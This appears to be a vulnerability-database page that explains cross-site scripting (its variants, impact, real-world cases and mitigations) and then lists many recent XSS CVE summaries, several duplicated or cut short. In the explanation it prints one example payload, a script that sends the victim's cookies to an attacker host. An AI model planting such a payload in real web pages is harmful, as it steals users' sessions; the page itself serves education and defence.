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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39068)

EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Folders - Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Folders
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Credit Card +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Credit Card +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Credit Card +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Young Entrepreneur E Negosyo System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Young Entrepreneur E Negosyo System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Young Entrepreneur E Negosyo System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Young Entrepreneur E Negosyo System
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Ajax Search Lite WordPress plugin before 4.12.1 does not sanitise and escape some parameters, which could allow users with a role as low as Admin+ to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ajax Search
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Easy Table of Contents WordPress plugin before 2.0.68 does not sanitise and escape some parameters, which could allow users with a role as low as Editor to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Easy Table Of Contents
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The shortcodes-ultimate-pro WordPress plugin before 7.2.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Shortcodes Ultimate
NVD WPScan
EPSS 14% CVSS 6.1
MEDIUM POC THREAT This Month

The WordPress File Upload WordPress plugin before 4.24.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS File Upload +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

HaloITSM versions up to 2.146.1 are affected by a Stored Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Haloitsm
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The WPBakery Visual Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘link’ parameter in all versions up to, and including, 7.7 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wpbakery Page Builder
NVD
EPSS 24% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

Unsanitized user-input in Calibre <= 7.15.0 allow attackers to perform reflected cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Calibre
NVD GitHub
EPSS 40% CVSS 10.0
CRITICAL POC PATCH THREAT Act Now

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea Open Source Git Server allows Stored XSS.22.0. Rated critical severity (CVSS 10.0), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitea
NVD GitHub
EPSS 0% CVSS 7.2
HIGH This Week

The Traffic Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page' parameter in the 'UserWebStat' AJAX function in all versions up to, and including, 1.4.5 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nuxt
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Docker Mailcow
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Docker Mailcow
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cooked is a recipe plugin for WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Cooked
NVD GitHub
EPSS 0% CVSS 7.3
HIGH This Week

Improper Neutralization vulnerability (XSS) has been discovered in OpenText™ ALM Octane. Rated high severity (CVSS 7.3). No vendor patch available.

RCE XSS Alm Octane
NVD
EPSS 83% CVSS 9.3
CRITICAL POC KEV EUVD KEV THREAT Act Now

A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Webmail
NVD GitHub
EPSS 34% CVSS 9.3
CRITICAL Act Now

A Cross-Site Scripting vulnerability in rcmail_action_mail_get->run() in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a malicious. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Webmail
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

microweber 2.0.16 was discovered to contain a Cross Site Scripting (XSS) vulnerability via userfiles\modules\settings\admin.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microweber
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

microweber 2.0.16 was discovered to contain a Cross Site Scripting (XSS) vulnerability via userfiles\modules\tags\add_tagging_tagged.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microweber
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

The Ditty WordPress plugin before 3.1.45 does not sanitise and escape some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Ditty
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Chatbot for WordPress by Collect.chat ⚡️ WordPress plugin before 2.4.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Collect Chat
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Community Events WordPress plugin before 1.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Community Events
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The wp-eMember WordPress plugin before v10.7.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Pinpoint Booking System WordPress plugin before 2.9.9.4.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Pinpoint Booking System
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability has been found in PMWeb 7.2.00 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pmweb
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in FastAdmin 1.5.0.20240328. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Fastadmin
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Zephyr Project Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘filename’ parameter in all versions up to, and including, 3.3.100 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Zephyr Project Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM POC This Month

The Quiz and Survey Master (QSM) WordPress plugin before 9.1.0 does not properly sanitise and escape some of its Quizz settings, which could allow high privilege users such as contributor to perform. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Quiz And Survey Master
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are vulnerable to XSS when displaying the logs due to improper input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ewon Cosy Firmware
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Feripro <= v2.2.3 is vulnerable to Cross Site Scripting (XSS) via "/admin/programm/<program_id>/zuordnung/veranstaltungen/<event_id>" through the "school" input field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Feripro
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Ai3 QbiBot does not properly filter user input, allowing unauthenticated remote attackers to insert JavaScript code into the chat box. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Qbibot
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Comments - wpDiscuz plugin for WordPress is vulnerable to HTML Injection in all versions up to, and including, 7.6.21. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wpdiscuz
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Element Pack
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Martin Gibson WP GoToWebinar allows Cross-Site Scripting (XSS).7. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Essential Blocks WordPress plugin before 4.7.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Essential Blocks
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

The Spectra Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block ids in all versions up to, and including, 1.1.4 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Spectra
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kofi Mokome Message Filter for Contact Form 7 cf7-message-filter.6.1.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 7% CVSS 7.1
HIGH POC This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kunal Custom 404 Pro custom-404-pro.11.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Modernaweb Studio Black Widgets For Elementor allows Stored XSS.3.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Black Widgets For Elementor
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in RegistrationMagic Forms RegistrationMagic allows Stored XSS.0.0.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Registrationmagic
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ThemeGrill Himalayas allows Stored XSS.3.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Himalayas
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Imagely NextGEN Gallery allows Stored XSS.59.3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nextgen Gallery
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rob @ 5 Star Plugins Pretty Simple Popup Builder pretty-simple-popup-builder allows Stored. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in SourceCodester Simple Realtime Quiz System 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple Realtime Quiz System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in petesheppard84 Extensions for Elementor allows Stored XSS.0.31. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Extensions For Elementor
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in BdThemes Element Pack Elementor Addons allows Stored XSS.6.11. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Element Pack
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in YMC Filter & Grids allows Stored XSS.9.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Epsiloncool WP Fast Total Search fulltext-search.68.232. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Modernaweb Studio Black Widgets For Elementor allows Stored XSS.3.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Black Widgets For Elementor
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ExtendThemes Kubio AI Page Builder.2.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Jordy Meow Photo Engine allows Stored XSS.3.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Lester ‘GaMerZ’ Chan WP-PostRatings allows Stored XSS.91.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wp Postratings
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Uncanny Owl Tin Canny Reporting for LearnDash allows Reflected XSS.3.0.7. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in LiquidPoll LiquidPoll - Advanced Polls for Creators and Brands.3.77. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPWeb Elite WooCommerce PDF Vouchers allows Reflected XSS.9.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Woocommerce Pdf Vouchers
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPDeveloper Essential Addons for Elementor essential-addons-for-elementor-lite.9.26. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Themewinter Eventin allows Stored XSS.0.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Eventin
NVD
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 through 9.3.2 are affected by a stored XSS vulnerability in the generate dashboard board instance functionality. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity.

XSS Concrete Cms
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Tracking Monitoring Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tracking Monitoring Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Element Pack - Addon for Elementor Page Builder WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the widget wrapper link URL in all versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Element Pack
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Gutenberg Blocks, Page Builder - ComboBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the redirectURL parameter of the Date Countdown widget, in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Comboblocks
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 3gp2 file uploads in all versions up to, and including, 7.5.4 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Blog2Social
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Breakdance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the breakdance_css_file_paths_cache parameter in all versions up to, and including, 1.7.2 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Breakdance
NVD
EPSS 1% CVSS 7.1
HIGH POC This Week

The Ultimate Classified Listings WordPress plugin before 1.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ultimate Classified Listings
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Floating Notification Bar, Sticky Menu on Scroll, Announcement Banner, and Sticky Header for Any WordPress plugin before 2.7.2 does not sanitise and escape some of its settings, which could allow. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS My Sticky Bar
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The socialdriver-framework WordPress plugin before 2024.04.30 does not sanitise and escape some of its settings, which could allow high privilege users such as contributor to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Swift Framework
NVD WPScan
EPSS 0% CVSS 6.5
MEDIUM POC This Month

The WooCommerce Customers Manager WordPress plugin before 30.2 does not have authorisation and CSRF in various AJAX actions, allowing any authenticated users, such as subscriber, to call them and. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Baidu UEditor 1.4.2. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Ueditor
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW Monitor

Stored XSS vulnerability has been discovered in OpenText™ Filr product, affecting versions 24.1.1 and 24.2. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Filr
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Zitadel is an open source identity management system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Zitadel
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Ibexa Admin UI Bundle contains all the necessary parts to run the Ibexa DXP Back Office interface. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

File Upload XSS Microsoft
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

